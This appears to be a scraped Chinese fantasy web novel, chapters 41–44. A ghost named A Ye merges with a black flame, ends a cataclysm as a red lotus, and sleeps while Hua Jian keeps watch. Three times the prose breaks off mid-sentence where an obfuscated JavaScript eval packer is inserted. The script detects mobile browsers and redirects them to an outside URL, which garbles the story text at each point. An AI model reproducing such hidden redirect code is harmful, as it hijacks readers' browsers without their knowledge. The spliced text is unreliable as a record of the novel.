山崖之下,镜湖边又升起火把,在雾气里影影绰绰,像是又回到那一夜,什么都没发生,她坐在小楼的门槛上,目视主峰的火光在雨中摇曳。 “走吧。”黑焰忽然说。 去哪儿?阿也想,身体却先一步动了起来,迈出僵硬的步伐,远离人群的喧嚣,向着丛林深处行进。 雨丝拖曳出透明的长尾,将外界的声响拉得纤细,被风一吹,就断开来,就像她与这世间的联系一般脆弱。 这数十天内跌宕起伏的遭遇远比在华宗的三年苦修更令人难忘,但实在太过短暂,形同朝露,好像只是逢场作戏,等下了台,又回归真面。 阿也漫无目的地行走在天地间,仿佛一缕游魂,越过丘陵,钻过地穴,再度回到林中,穿过惨烈的战场,就在绕过断裂的山石时,陡然僵住。 少女安静地躺在草堆里,无神的双眼倒映出昏暗天色,衣衫被血浸透,在寒意中僵硬,发髻披散一地,落满霜雪。 “师姐!”飘远的思绪中,忽然有声音追了上来,“我叫桃夭,是桃之夭夭,灼灼其华的那个桃夭,也是要打得混元兽逃之夭夭的桃夭!” 记忆里的音容笑貌扑面而来,恍如昨日。 阿也猛地后退几步,被树根绊倒。她挣扎着起身,伸出手,终于寻到实处,勉强维持住站立,才敢抬起眼,正视这残破的景象。 不远处,混元貙被一钺钉在树干上,手脚断了一半,而眼眶被另一钺捅了个对穿,脑浆四处喷溅,在树身凝结成块,像团晒干的青虫。 而三尺长的尖牙就那样插进少女胸口,雪盖住额头,略略凹陷,但遮不住一道从眼窝贯穿鼻梁的狰狞爪痕,身下盛开大片的血迹,像朵张牙舞爪的花。 视线落在她腰间悬挂的断线上,阿也如梦初醒,艰难上前,用力拔开尖牙,摘下自己腰间红底白字的香囊,续在那线之上,然后俯下身,抱紧她,抱紧她小小的、原本还可以再长大的身体。 “桃夭……”阿也喃喃自语,忽然觉得好累,脚步沉重,似有千斤,怎么也抬不起来,却不知能对谁说,于是茫然地开口,“我,走不动了。” 此时此刻,天地寂寂,唯有黑焰回答她,“那就留下来。” 像是找回了主心骨,阿也抱起桃夭,就近安置在树下,细细擦净了脸上的血污,解下外袍裹好,再紧挨着人坐下,仿佛只是躲避一场雨,等待雨过天晴。 周围悄然无声,唯有雨声淅沥。 不知过了多久,远方似乎传来混元兽的咆哮,而耳畔,黑焰忽然发问,“你为什么要复活华烨?” “把身体还给她。”阿也下意识回答。 “那你呢?再找个身体?你应该知道吧,只有活人的肉身才能承载魂魄。换句话说,你得再找个将死之人附身,那又与华烨有何区别?” 阿也没有说话。 “还是说……”黑焰慢慢道,“你其实是在寻死?” 阿也抱膝而坐,点点头。 原以为黑焰会追问或发怒,但没想到它换了个问题:“为什么要救卓清歌?” “我花完了华烨的钱。”阿也一顿,“救卓清歌的酬金很高。” “所以驭菱她们是顺便救下的?你知道她们出身穷苦,给不了你任何报酬吧?” 阿也的声音低下去,“是。” “那为什么要救云欢?”黑焰又换了个问题,似乎并不在意答案。 阿也张了张口,好一会儿,才出声,“你说你怕她身上的东西。” “你想杀了我?” “……不想。” “为什么?”黑焰似乎并不意外。 “因为……”阿也抱紧自己,轻轻呵出一口热气,看白雾渐渐淡去,垂下眼,“这三年里,只有你陪着我。” “只有我会永远和你在一起,其他人都是过客。”黑焰道,“你亦是他人眼中的过客。” “……是。” “那为什么要哭?” 哭?阿也怔怔抬手,抚上眼角,触及源源不断的温热,以及顺着指根蔓延的冰冷。 “我以为……那是雨。” “你开始变得像人了。”黑焰道,“会为自己找借口。” 这话莫名好笑,说的好像她不是人一样。阿也扯了扯嘴角,试图扬起,但又放下。她一个鬼魂,连躯体都没有,更是一身杀生本领,算什么人? 雨变小了,绵绵细丝飞进树梢叶片,沿着脉络汇聚,顺着叶尖滴入地上水洼,断断续续,一如回忆。 “该走了。”黑焰说。 又要去哪儿?她不知道,但也不愿去想,不愿再争,简单应了一声,起身,试图合上桃夭的双眼。 因太过僵硬,阿也不自主地花了点力气才合上睫羽的但不知为何,又想起在乱草堆里发现桃夭的那一晚,自己伸出手,握住她被夜风吹得冰凉的手指。 下一个会是谁?是凌栾,还是云欢?无论是熟悉的,还是陌生的,到最后都会像这样被摧毁……她不能留在这里。阿也抬起头,却垂下眼,“你赢了。” “是你输了。”黑焰平静道。 “所有魂魄都给你。”她轻声说,“我要公子闲死。” “哪怕你也会死?” “哪怕我也会死。” 又回到这里。 绿荫潮湿,泛着阴冷的水汽。忽然间,阿也脚步一顿,视线落在溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239302|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边那朵深陷泥沙的白花上,萎靡不振,光华不在。 她走近了,俯下身,怜爱地抚过花瓣,像是触及主人放手时隐秘的心绪,随后收进戒中,与另一朵并肩放置,相依相偎,一如初生时刻。 “其实你一早就知道吧?”阿也轻声道,“知道阴山有陷阱,所以用激将法激我来这里。” 没有任何回应。她无声笑笑,迈入洞穴之中,脚步声幽幽回荡,小路蜿蜒曲折,延伸进黑暗,不见尽头。 她来过这里……在一开始的时候。 洞穴深处,忽有水滴落,打在发顶,啪嗒一声。阿也慢慢扫视路旁那些被白丝缠绕的块状物,一点点拼凑出记忆里的面貌,是腐烂的鸠盘荼。 她低头看着掌心,缓缓曲起五指,轻而易举地比出大小,就像是曾亲手扣下鸠盘荼的眼珠,放在手心随意把玩……然后毫不留情地捏碎。 “是我……”阿也终于想起来,“杀了它。” 小路的尽头,是一整扇向四方伸展的木门,无一丝拼接痕迹,没有把手或扣环,也没有锁,唯有青苔漫漫,组成诡谲图案。 循着礼节,阿也曲起指节,叩响了门。 刹那间,洞壁上的数百盏灯一同亮起,烛火无风自动,鬼气森森,映照着来时的路,仿佛通向地府的入口。 自然不会有人来开门。 “你会帮我吗?”阿也忽然抛出这一问,像是将石子丢入湖中,砸出细密涟漪,回音袅袅,又一一散去,再度恢复安静。 依旧没有回应。 但另一只手不受控制地抬起来,随意搭在门上,木漆在烈火中剥脱、燃烧,露出森白骨胎。 浓稠的血自骨缝中争先恐后地涌出来,冰冷黏腻,将门紧紧包裹,仿佛一层柔软坚韧的盔甲,预备承担着将要来临的炙热。 但来者打量血幕里自己的倒影,勾起鬓发,别在耳后,仿佛对镜梳妆,满意地扬起唇角,轻轻推开门—— 又见到四方锥塔的壁画,上至洞顶,左右衔接两侧,仿佛一堵敦实的墙壁,隔开内外。 阿也仰头,盯着塔尖的孔洞,取出半个拳头大小的灰石塞进去,严丝合缝的大小,像是补齐拼图的最后一角。 壁画在面前虚化,沉重的石门开始坍塌。 井中喷出的淤泥干涸了,地面的阵法因失去供养而灰败。她三两步迈过台阶和断裂的锁链,踏上高台,凝视着那副遍布血污却空空如也的冰棺。 蓦然间,阿也生出一种预感,本该有人躺在那里。 “……姐姐!” 她似乎又听见了梦魇中曾听过的那声呼唤。 电光石火间,她明白这冰棺为何如此安排——为了等人来,于是翻过棺沿,躺了进去,和衣而眠。 棺面缓缓合上了。 狭小的空间里,充斥着浓郁的腥气。昏暗之中,有东西一滴滴地落在脸上,溅射成网,像细蛇在肌肤表面爬行,沿着口鼻钻入体内。 阿也闭上眼,陡然生出一种溺水的错觉,忍不住微微战栗,仿佛回归混沌的初始,羊水循环涌动,孕育新的生命,赋予新的灵魂。 恍惚间,察觉那股熟悉的力量正在抽离,而并非心口那道坚固的封印,阿也勉强清醒几分,努力出声,“你……” 识海深处,黑气如烟般向上升起,黑焰褪去浑浊,重回鲜红底色,仿佛返璞归真。 这才该是它本来的样子。阿也没来由地想。 “我很高兴,你一直守护着华烨。”黑焰忽然开口,像是洞悉她的不安,安抚道,“别担心,我会永远陪着你。” 可这话听起来就像离别。阿也尽力维持神智,想要追问这句话的来意,但洪流般的温暖冲刷四肢百骸,令人昏昏欲睡。 坚持到最后,阿也只能口齿不清地问,“为……什么?” 热意包围着她,继续下沉,穿过漫长的黑暗,抵达彼岸的温暖,彻底浸入其中,意识同力量一道消融、交汇,再重塑成全新的模样。 终于,在黑暗袭来前,它的声音再度响起,是从未有过的温和,语带笑意,仿佛微风拂过发梢,轻轻颤动。 “因为……你就是我,我就是你啊。” 42. 补天 枝形闪电在暗云中穿梭,积蓄力量,轰向那些裂缝,试图拨乱返正,但被溅起的黑液洞穿,悄然湮灭,苍白而无力。 巨型的冰川相互撞击、沉没,牵动暗流汇入海底,无数混元兽睁开眼睛,密密麻麻的赤红竖瞳。 滔天的浪潮将黑液送往大地,仿佛饥饿的蚁群吞花噬草,抑或某种难以挣脱的束缚,将山水茧化,等待着被孵化的内容物撕裂。 “云欢?” 轻柔的气息靠近了,云欢愣愣地抬起头,从模糊的视野里分辨出面前的人,是云漪。 “师姐?”云欢喃喃自语,“我……” 云漪目光一顿,迟疑道:“你的手……” 云欢闻言,低下头,注视自己的手腕,本该是凹凸不平的疤痕,此时却光洁平滑,泛着新生肌肤特有的粉色—— 那人甩开她的同时,掌心的血沾染手腕,治愈了伤痂。 她……真的不是小烨? 回过神来,云欢立即拉下衣袖遮掩手腕,生硬地笑了笑,“云弈师姐亲手调配的药就是好用。” “你在担心华姑娘吗?”云漪问。 一下就被看穿了。云欢吸了吸鼻子,望着阿也离去的方向,闷声道:“小烨她……” “华姑娘不会有事的。”云漪肯定道。 她极目远眺,天幕千疮百孔,山石摇摇欲坠,仿佛末世的前兆,忽地记起云绮将尾戒交与自己时,曾说过这样一句话——华烨,即是命定之人。 彼时云漪不懂这句话的含义,现下在这危急关头,顿时明悟,那个外表十六岁内里却超脱于此的姑娘,注定会被上天选中,担起救世的责任。 “咕噜咕噜……” 仿佛对这期望的回应,不远处的镜湖忽然滚沸,大量气泡争相挤出水面,齐齐破裂,吐出乳白色的热气,仿佛挥不开的稠雾。 透明的火焰乘雾而起,在空中飘忽不定,犹如幽灵,虚无形体。 “咚,咚,咚——” 在逐渐升高的温度里,再次传来心跳的声音。 狂风吹开白雾,露出被烧干的镜湖,沙石和淤泥在高温中燃烧、融化,炙热发红,这座熔岩之池好似这片大地的心脏,跳动间,无数火花喷溅。 岩浆沿着溪流奔涌,像是热血在血管里流动,是比火焰更滚烫的颜色,淌过山石,流过冰原,仿佛金红色的树根,爬满这片失落之境。 “轰隆——” 粗壮的熔岩从池中心喷出来,超过冰山,越过飞鸟,要将天捅破,闪电围绕而生,噼里啪啦地炸响,仿佛火树银花。 气浪撕裂云层,灰烬随着风势飘散,向天空深处沸腾,狂乱地将裂缝抚平。 水汽在极冷极热之中爆炸,由下至上驱散浓烟,熔岩渐次凝固成柱形,仿佛强壮的根茎,贪婪地汲取黑液。 熔岩柱的顶端,一朵巨大的红莲成形,仿佛新日降临。它收枝敛叶,含苞欲放,是如此纯净、热烈的红色,却因被黑液浸染,变得浑浊不堪—— 让人分不清是为救世而来,还是灭世。 风流云散,红莲迎着众人的目光盛放。 花瓣渐次展开。每一次展开,黑气逸散,起初如丝如雾,最后愈发浓稠,犹如实质,仿佛升起一片夜幕,而空间以肉眼可见的速度坍塌又重建,扭曲出虚幻的影子。 何等恐怖的力量,仿佛超脱人世间,来到禁忌的界域。 等到最后一片花瓣彻底舒展,阿也垂目立于莲台之上,白发三千丈,而身若观音,势如罗刹。 她抬起手,打出一个清脆的响指。 守护镜湖的结界骤然消失。鲜红的火光从天而降,像是倾倒出一片浩茫火原,要扫除所有不洁之物,还此地一个清净。 “小心!” 云漪将云欢牢牢护在身下,艰难躲避这场漫天的火雨。 “等一等……”云欢拉住云漪的衣袖,望了眼莲中人熟悉的身影,抿起唇,颤抖地伸出手去,接住一朵翩跹而落的火焰。 接触的刹那,火焰融化在手中,澎湃元力冲刷四肢百骸,伴随宁静而平和的气息。云欢情不自禁地闭上双眼,双手合十,捧在心口,面色虔诚。 原来那一天,神听见了她的祈愿。 火原灼烧整片天地,如同天罚,但与此同时,冰川开始融化,围困穆州的兽潮撤退,留下满目疮痍的大地。雪水渗入土壤,深埋的种子发芽,开出各式各样的花。 一息之内,秋冬变做春夏。 红莲之中,阿也慢慢睁开眼,目光落在那具肆意作乱的骸骨身上,眼中燃起血色,仿佛画龙点睛,忽然有了神采。 她扬起手,瞄准那具骸骨,隔着千百里,虚虚一握。 火光奔涌,将骸骨四面包围,如同煅烧粗制的铁器,摈除杂秽,逐渐缩至一人高,露出莹白骨质,再送往红莲,接受进一步的精炼。 持续的灼烧中,骸骨断开长尾,瘦小的前肢开始退化,露出圆润的指甲,骨液流窜、凝固,构筑成全新的形状,纤细修长,好似一位身量娇小的少女。 但轮廓之内,骨头的排列和走向都十分清晰,揭示她并非真正的人类,更像是某种化形为人的生灵。 阿也注视这具娇小的骸骨,目光悠远而漫长,像是经历多年时光,故人终于重逢,却是隔着冰冷石碑,对着墓前枯萎的花无从开口。 她摘下那枚乌金的尾戒,顿了顿——少女左手的小指不见了,只留一道狰狞的缺口,便将尾戒带在右手小指之上,怜爱地抚过窄小的面骨,在额骨轻轻落下一吻,将这副死去多年的尸骨拥入怀中。 红莲散尽光辉,从枝头坠落。 熔岩柱随之垮塌,四散的碎片划过天际,仿佛成千上万颗流星,在落入地表前就被火焰吞没,因此更像一种在节日庆典举行的盛大表演,宣告着这场灾难的终结。 在被汹涌水流吞没前,她听见歇斯底里的呼喊从远方传来,似曾相识。 破晓的第一缕阳光穿过废墟,此时此刻,天地苍茫,朝霞绚烂,海面波光粼粼,宁静而平和。 忽然,一点水声溅出来,荡起圈圈涟漪。 “小烨——” 云欢放声大喊,推开海面飘来的碎冰,忍着刺骨的寒冷,弯腰探入水中,触及硬物,打了个哆嗦,不敢细想,继续摸索一阵无果后,才肯回到岸边,大口喘息。 晃了晃玉瓶,空荡荡的,一如丹田。云欢努力平复自己,短时间内她吃了太多丹药,将自己透支干净,只能采用这种笨拙的方式搜寻。 明明落下的方向就在这里,怎么会找不到?一想起这些,云欢焦急得咬嘴唇,开始后悔将并蒂芙蓉送进溪中——本该是它发挥作用的重要时刻。 “找到了吗?”声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240942|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音从侧后方传来。 云欢回头,眼前的华谏脸色苍白,脚步虚浮,并不比自己好过多少。她垂下眼,没有回答。 “她……咳咳!”华谏及时捂住嘴,但血从指缝中喷溅出来。他身体晃了晃,险些栽倒。 好在云欢眼疾手快,提前扶住他,安慰道,“她会没事的。”她并无底气,因此这话说出来苍白无力。 华谏用衣袖拭净五指的血,取出折扇,正要开口,却见扇钉微微闪烁,一根绿丝钻出来,在指缝间游移,舔舐着残留的血迹。 电光石火间,他想起来还有一个办法,神色微变。 云欢急忙道:“你是不是想到办法了?” “没有太大把握。”华谏深吸一口气,“但我尽力而为。” 他盘腿坐下,将折扇置于空隙间,召唤出命格,如玉幼树挥洒出点点绿光,而沐浴在光中的绿丝茁壮成长,顺应指引编织成印—— 捕形印。 沿着那根并非作用于□□的细线,华谏落入浩浩汤汤的精神之海中,隐隐感觉到了另一端的存在,不是原本的孱弱,而是蜕变为庞然大物。 只是试图感知,便遭遇强烈反噬。华谏咽下喉头腥甜,指向不远处,急促道:“在那里!” 顺着他的指向,印记抽出一根绿丝飞了出去,像是线团的起始。 “你……”云欢担忧地打量华谏,脸色愈发惨败。 “快去!”华谏喝道,额头冒出颗颗冷汗,“我坚持不了多久!” 云欢一跺脚,取出水囊放在他脚边,“再坚持一下!”沿着高低不平的海岸线,她跌跌撞撞地追上绿丝,抵达线团的终点—— 残留的冰川托起了沉积的熔岩,仿佛环绕湖泊的高山。 扑通一声,云欢跳进海中,还好冰火交融,温度不算太低,她咬咬牙,奋力游了过去,爬上冰面,向更深处跑去。 水顺着衣摆滴落在地,被余温烤干了,发出嘶嘶声。熔岩的表面在寒冷中固化,但内里仍是柔软的,仿佛踏着波浪前行。 云欢努力保持平衡,一个不小心,结结实实摔了一跤,掌心被燎出焦黑的痕迹,但与此同时,她也看见了心心念念的那个人。 “小烨!” 目视那片衣角被挤压的浪潮吞没,云欢急得手脚并用,三步并作两步爬了过去,十指插入疏松的岩层,挖断,再抛出。 越往深处,越是灼热。 衣袖被点燃了,随动作扬出一片掺杂火星的飞灰,腕上新生的肌肤被尖锐的砾石磨破,血滴滴答答。 坚持……云欢对自己说,再坚持一下! 在不间断的努力下,坑越来越深,岩页的颜色由黑转褐,再往内,过渡到鲜亮的红。 终于,她又看到了那片衣角。 但关节像是生了锈,动作时发出艰涩的响声,云欢被迫放慢速度,这才意识到,原来不是岩石的颜色渐变,而是她的鲜血染就。 幸好在四肢作废前,她如愿以偿。 拨开脏兮兮的发,云欢得见那张面容,覆盖眉宇的冰霜在掌心的温度下缓慢融化,露出那张平和的面容,一如初见。 云欢将人抱进怀中,紧紧地抱住。 没有试过她的鼻息和脉搏,也没有听过她的心跳,但云欢不再害怕听到那一夜呼啸的风声—— 她再一次长大了。 43. 修养 点燃案上的安神香,华谏忍不住俯身吸入一缕青烟,缓缓吐出,待心绪平静,再折回屏风后,见余寰正在收针,低声道:“她怎么样?” 捆好针包,余寰拧眉,“老夫......从未见过如此奇怪的脉象。” “愿闻其详。”华谏颔首。 “忽强忽弱,时有时无。”余寰沉吟片刻,方道,“不知在我们来之前少主可曾遇到什么怪事?” 华谏一顿,一丝不安袭上心头,迟疑道,“长老的意思是?” “比如......”余寰神色迟疑,显然想起了红莲之中随手洒下漫天火雨的身影,“精怪上身之类的。” 果然,那一幕大家都看见了。华谏垂下眼,状似沉思,慢慢开口道:“此前她曾独闯往生教的据点,许是在其中获得了某种机缘,譬如......传承?” “也可能因此继承了大能的部分力量。”华谏笑笑,“毕竟是初始极境,难以预测吉凶。” “有几分道理。”余寰抚过长须,叹道,“毕竟福兮祸所依,祸兮福所伏,因缘际会,最是难算。” 的确难算。华谏看着榻上沉睡的少女,就像他未曾设想过有一天她会蜷缩在被褥中,只露出一张惨白的脸,没有血色,虽有呼吸,但断断续续,不很连贯。 而飞舟外风声呼啸,一如来时。 清点完弟子数目,华谏合上名册,提前结束了第一次主持的晚修,“今日应到入门弟子一百七十八人,实到六十二人,散场!” 集合的弟子们一哄而散,三两成对,稀稀落落,相约下山觅食,或是晚上加练。自阴山返回已过三月,空掉的宅舍被陆续补满。 “怎么样?”背后传来熟悉的声音。 华谏回头,凌栾拄着拐杖追上来,席子瑞亦步亦趋地跟在她身后,想扶又不敢扶的样子看得人暗自发笑。 想起现下自己是代行长老一职,华谏敛眸,淡淡道:“还行。” “我没问你。”凌栾皱眉,“等我好些,再亲自前去探望。” “你……”华谏深吸一口气,还是没忍住,呛道:“那等你……” “那是自然,自然。”席子瑞赶紧抢过话,连连赔笑,“师弟今日辛苦了,师妹最近也要小心些,才刚下床能走动。” 凌栾与华谏对视一眼,双双扭过头去。 见状,席子瑞赶紧转移话题,思来想去,挑了一个安全的:“宗主还在闭关么?” 将视线从主峰最高处的堂上移开,华谏颔首道,“还在闭关。” 准确地说,华重楼是自测赋第二天,也就是他们从虎押码头出发时开始闭关,即便石磊和余寰轮流去请,至今仍未露面。 “师弟真是辛苦了。”席子瑞拍了拍华谏的肩,语气怜悯,但话锋一转,“那我和师妹便不打扰了,先回去……师妹?凌栾!等等我!” 见席子瑞手忙脚乱地跟上去,哪有半点先前敢单挑骸骨的风范,华谏偷偷点评,真是人模狗样。 此前养伤,从云欢口中拼凑出大概的故事,华谏目送二人的身影一同隐入暮色之中,心道,也算修成正果,于是转身,沿着山路走进侧峰。 踏上台阶,一步,两步……路旁的花草沐浴春雨而生,受夏日炙烤而萎靡,最后在秋风中凋败,衣衫厚了又薄,薄了又厚。 华谏收起纸伞,在门前抖了抖,待雪落干净,依着墙放好,眺望前方,楼前两株也桃裹上银装,山林粉妆玉砌。 下雪了,今年的第一场雪。 “咚咚咚。” 他敲过门,静待三息后推门,并不深入,而是解下大氅挂好,坐在案前,点燃一支安神香,开始思考年宴的安排。 华重楼仍然在后山闭关,因此作为明面上的宗主之子,目前唯一的继位者,华谏被迫提前担起统筹上下的责任,开始学着主持大局。 等研完墨,年宴有了雏形。 执笔写下备选的时间地点和各项开销,拟好大致的宾客名单,忽然间,华谏一顿,将位于名单最后一行的云间派勾上圈,旁注云欢二字。 半年前,云欢彻底痊愈,那时曾来探望过一次,许诺以后一定好好修炼,争取保护她之类的,虽说华谏并不觉得会有那一天,但当着凌栾的面还是表示了鼓励。 此后她出门历练,至今未归。 不过这次回信说年宴会来,可能会在路上耽误几天,不知道又在捣鼓什么稀奇古怪的玩意。 华谏都不想提那些她寄来的东西,什么思念时亲手雕的枫树根,结果连人形都看不出来,还有跑遍四州亲手收集九十九种花制成的熏香,结果引来一堆蚊虫,害凌栾和席子瑞驱了整夜……诸如此类。 但看在亲手二字的份上,华谏看得上的就摆进房间,不能用的就丢进库房。 说起库房,华谏又一阵头疼。 凌栾继任首席长老后,从卓清歌那学来了查账诀窍,发现许多纰漏,因此立了一套新规矩,任何大额支取都得先说明缘由,虽与寻常弟子并无干系,倒让好些新长老抱怨连天。 “其实我也不喜那些新长老搞出的小动作,但石磊隐退,余寰当惯了甩手掌柜,弟子青黄不接,手底下没有能用的人,故只能睁一只眼闭一只眼。” “得找个时机叫席子瑞吹吹枕边风,让凌栾松一松口,我才能去寻错处将其中一些过分的打发掉。” “说起来,上个月初,凌栾和席子瑞订婚了,至于什么时候成礼,凌栾说要等你睡醒,对此席子瑞并无异议,只叫我转告你别睡得太久。” 除了这些,没有别的了。一年四季,听起来很长,但短短几句话,也就说完了。 华谏放下笔,隔着一道屏风,听到那一端传来轻微的呼吸声。 大约是一年将尽,心有所感,把说过的又倒了出来,说的有些多了。华谏摇头失笑,倒了杯茶润喉,望着窗外的夜雪出神。 至于他自己,总是习惯性来这坐一坐。 起初凌栾担心他借机报私仇,要求结伴探望,后来发现他无意于此,久而久之,便默许了他独自前来这一行为。 其实他独自前来,哪怕以明面上的兄妹看待,也是不合礼数的,更何况并非如此。 但有时烦闷,无人可诉,也无处可去,只好回到这里,点一支安神香,说一些开心的,再说一些不开心的,然后从悠远的宁静获得些许慰籍。 大概是因为同病相怜。华谏想,在替云欢读第一封信给她听的时候,无论是开头板正的“华烨”,还是结尾亲昵的“小烨”,都让他清楚地意识到一点——只有自己知道她的秘密,正如只有她知道自己的秘密。 “噼啪。”火星闪烁几下,熄灭了。 香燃尽了,也该走了。不过临走之前,华谏还记得收拾好案几,再开窗通一会儿风。 记忆里,她并不熏香,身上的气味总是清淡的,很容易被掩盖,被太阳晒过就会是太阳的味道,泡在水里就会是水的味道,大约也不会喜欢安神香。 门外夜色深深,堂内灯火通明。 “……这一年,辛苦大家了。”华谏致辞结束,先饮三杯,亮了杯底,年宴才真正开始。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250242|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸出凌栾提前给的解酒丸,藏在手心吃下去,华谏在心中叹气,拎着酒坛上前,替各门各派的长老传杯换盏。 没办法,华宗虽大,可独木难支,要依仗人的地方还有很多,尽管凌栾和席子瑞分担了不少,但有些事,只能由他来做。 “华公子真是年少有为。”有人夸赞道。 “哪里哪里。”他饮了太多,酒力翻涌,头脑发晕,看不清对面人的脸,下意识又敬上一杯,含笑道,“还请多多指教。” 强撑着聊过几句,脚下一个踉跄,被人及时扶住。 “你已经做得很好了。”那人低声说。 他一个激灵,下意识攥住了护在腰间的手,听得一声闷哼,才发现那是席子瑞。 “出去透透气。”席子瑞拍了拍他的肩,“剩下的交给我。”不等华谏开口,他随手从身旁长桌摸过一个干净的酒杯,笑着迎了上去。 现在倒是有点单挑骸骨的风范了。华谏想,顺势倾了酒盏,以换衣为名告退。 弦歌声,叫好声……声声入耳,沸反盈天。 他走进林间小道,将这些统统抛在身后。 这就是你想要的吗?华谏问自己,缓缓呵出一口热气,注视白雾逐渐散去,那时年轻气盛,总想要证明自己被偏爱、被认可,于是卯足了劲要和人分个高低。 现在却觉得那些都无关紧要。 周围的人越来越多,但能说上话的人越来越少,以前嬉笑打闹的师兄弟见了他,不再是亲密的拍肩或打趣的玩笑,而是恭敬的一声“代行长老”,有时令华谏自己也感到陌生。 时日逝如流水,早晚并无差别,每一天都像是同一天,将一直持续到终点。 因为除此之外,他别无选择。 忽有夜风吹过,华谏清醒些许,抬头望天,此时此刻,弦月高挂,晚星稀疏,草丛里时不时响起几声虫鸣,除此之外,万籁俱寂。 他忽然很想她。 不过就算闻不出来,也自知身上酒气很重,于是华谏脚下打了个转,回到新建的居所。彻底洗漱后,他换下脏衣,躺在软榻上,却辗转反侧。 她怎么能一个人住那么久?华谏想。他分明只在这房中待了片刻,就无法忍受。 再度踏上台阶,他心中蓦然腾起一种空落落的感觉,一步、两步……这种感觉越来越长。 脚步越来越快。 最终,他推开门,越过那道屏风,像是跨越某种禁忌的疆界,站在榻前,撩开了绡帐。 她仍然在昏睡,从前是,现在也是,未来或许依旧如此。 而他并无绮念,只是想碰一碰她,确保她还活着,确保那些经历并不是一场梦境。 但在真切地触及之前,温热的吐息扑上指腹,仿佛被烫到般收回了手。 大概是喝醉了。华谏心想,却又不愿离开,于是靠在榻边,听呼吸声断断续续,一如回忆。 只是这样?心里似乎有个小人固执地发问。 华谏不知如何回答,干脆自暴自弃,席地躺下,假装回到居所的软榻,不过有些冷硬罢了。 思绪浸泡在黑夜里,沉沉浮浮。他好像想了很多,又好像什么也没想。 “吱呀——” 大约是老天可怜他,令风支起木窗,命月光洒落,轻柔如纱,遮掩这屏风后的另一片天地,一片隐秘的、不为人知的天地。 于是华谏鼓足勇气,伸出指尖,轻轻碰了碰她被风吹起、垂落在榻外的一缕发梢。 “阿也。”他在心底轻声说,“好梦。” 44. 不速之客 目之所及,皆是茫茫草原。 野草漫过膝间,偶尔被衣摆挂断,散出青涩的苦味。 云垂得很低,仿佛触手可及,飘在晴空里,像一团被晒软的棉花,坠入夜晚,仿佛摇摇欲滴的一团稠墨。 日升月落,星移斗转,四季不再变换,每一天都像是同一天,阿也走走停停,忘记了时间。 直至某日,嗅到远方的夜风里陌生的味道,她一愣,顿时惊醒,迟钝地想,我在这儿干什么? 忽然间,一声尖细的呜咽打破宁静,紧跟着越来越多的嚎叫响起,四面八方窜出来许多红眼黑狼,不停围绕她打转,涎水不停地往下淌。 好臭。阿也木木地摆出反击架势,身侧一条黑狼竖起耳朵,摆出进攻姿态,喉头低吼两声,幸福地探出前爪—— “嗷呜——” 一声长号冲上天空,悠悠不绝,仿佛凛冽刮来的冬风。群狼闻声,惊慌地四散奔逃,草原重归一片苍茫。 不等她寻到源头,那匹苍狼突然地闯进视野:身形健硕,雪白毛发在月色里熠熠闪光,如同银色盔甲,尤其那一双眼眸,是罕见的墨绿色,仿佛盛夏浓密的绿荫。 几个轻盈的跳跃,苍狼落在面前,伏低上半身,轻轻咬住她的衣摆,来回拉扯,像是在示意让她上来。 奇怪,这狼认识她?阿也心想,试着摸过皮毛,顺滑如匹练,见它垂下头,模样乖巧,于是径直跨过狼身,俯身攀住狼颈。 待她坐稳,苍狼低吼一声,追逐月色,一路奔向远方。 风从耳边呼啸而过,她大笑,笑声在草原上传得很远很远,仿佛将这样永远快乐下去。 “砰!” 华谏被巨大的爆炸声惊醒,尝到宿醉的苦果。他扶住额角,忍住被锯开般的痛楚,翻身坐起,窗外的主峰冒起滚滚尘烟—— 是华重楼闭关的后山! “咳、咳……” 急促的咳嗽声中,尘雾散尽了,露出一地狼藉。 藏于山间的石洞被人劈开了,真正意义上的一分为二。澄澈天光洒在断面上,破口整整齐齐,仅一刀之威。 “阁下……从何而来?”华重楼仰视半空中的那道身影,艰难开口。 元凶是位体型高大的男子,以银面遮脸,宽松的黑袍被气流压得贴身,勾勒出蜂腰猿臂,而一头及腰长发随意束在耳后,柔软飘逸。 “从何而来?”男子提起长刀,声音低沉,流露出几分冷淡的邪气,“你不是再清楚不过了么?” 注意到他袖口的赤红焰纹,华重楼脸色一沉,召出两柄龙纹大板斧,护在身侧,盯紧他的一举一动。 “你知我来意。”男子肯定道。 元力暴涨,却是华重楼率先出手。他蹬地起身,双手板斧交错抡动,舞出赫赫风声,犹如虎啸龙吟,雷光在龙纹周身游走,仿佛要召其而出。 男子举起长刀,正面迎上双斧。 “砰——” 